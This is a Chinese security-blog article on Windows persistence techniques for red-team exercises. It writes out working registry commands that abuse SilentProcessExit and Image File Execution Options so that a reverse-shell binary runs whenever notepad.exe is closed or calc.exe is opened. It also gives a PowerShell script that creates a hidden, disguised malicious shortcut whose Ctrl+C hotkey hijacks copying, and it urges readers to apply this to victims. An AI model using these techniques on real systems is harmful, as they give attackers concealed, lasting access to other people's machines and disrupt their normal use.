freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻防演练实战中的权限维持Tips
2023-02-13 14:34:53
所属地 上海

什么是权限维持?

当获取到服务器的控制权后,为了防止服务器管理员发现和修补漏洞导致对服务器权限的丢失,测试人员往往需要一些手段来实现对目标服务器的持久化访问。

持久化访问(Persistence,权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用户凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

通俗来讲,权限维持的核心目的是让我们的木马病毒持续在线,不会因为系统重启,用户注销或者其他特殊原因下线。

下面来罗列一些权限维持中比较有趣的Tips!

关闭应用程序时触发:

这种方式是在用户关闭任何进程或二进制文件时执行。
在这里演示下用户关闭notepad.exe进程时反弹 shell 。
为此,我们需要在 cmd 中执行 3 个命令:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\Public\Temp\shell.exe"

1676269586_63e9d81215a141f3f519f.jpg!small?1676269586200
结果:

当我关闭notepad时,我会收到反弹的shell

1676269605_63e9d825a007fe71f894c.jpg!small?1676269605732

打开应用程序:

这种方式是在用户打开任何进程或二进制文件时执行。
在这里掩饰下用户打开calc.exe进程时反弹 shell 。
我们需要在 cmd 中执行 2 个命令:

copy calc.exe _calc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\Public\Temp\shell.exe /f

1676269622_63e9d836151f9d3c60a63.jpg!small?1676269622122
结果:

当用户打开计算器时,我收到反弹的shell。

1676269635_63e9d8431c5e637c6bb04.jpg!small?1676269635064

LNK 文件

如果在用户桌面上放置了带有激活键的快捷方式,则每次通过调用指定的组合键来执行该快捷方式。

1676269658_63e9d85a383c608863006.jpg!small?1676269658723

有了这些知识,我们可以将快捷键设置一个经常使用的按键组合,例如CTRL+C,CTRL+V,CTRL+Z等等。
注意:资源管理器只允许以 CTRL+ALT 组合开头的快捷方式。其他组合需要通过 COM 以编程方式设置。

通过 COM 制作恶意 LNK 文件

以下 PowerShell 脚本可用于创建带有自定义激活密钥的恶意快捷方式:

$path                      = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
$wshell                    = New-Object -ComObject Wscript.Shell
$shortcut                  = $wshell.CreateShortcut($path)

$shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"

$shortcut.TargetPath       = "cmd.exe"
$shortcut.Arguments        = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey           = "CTRL+C"
$shortcut.Description      = "Nope, not malicious"

$shortcut.WindowStyle      = 7
# 7 = Minimized window
# 3 = Maximized window
# 1 = Normal    window
$shortcut.Save()

(Get-Item $path).Attributes += 'Hidden' #

如果我们想让快捷方式不可见可以这样设置。

代码并不复杂:首先,在第 1 行,我们声明了一个指向受害者桌面目录的变量path。之后,我们开始慢慢修改我们的快捷方式以满足我们的需求。首先给它一个信任度高的图标,将它设置为执行恶意代码(用来演示的calc.exe)并将窗口样式设置为最小化,以便在执行快捷方式后不弹出命令提示符。此外,我们还可以通过设置Hidden属性使快捷方式在桌面隐藏。

1676269704_63e9d888a67ba8202c520.jpg!small?1676269704760

结果:

当用户使用Ctrl + C时,将弹出计算器。
1676269717_63e9d8952fab59cf59d19.jpg!small?1676269717461
由于我们桌面快捷方式中的CTRL+C快捷键优先于Windows原本的CTRL+C,因此在受害者的机器上复制粘贴现在被破坏了,快快应用起来吧~


# 攻防演练 # 系统安全 # 权限维持 # 攻防演练工具
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录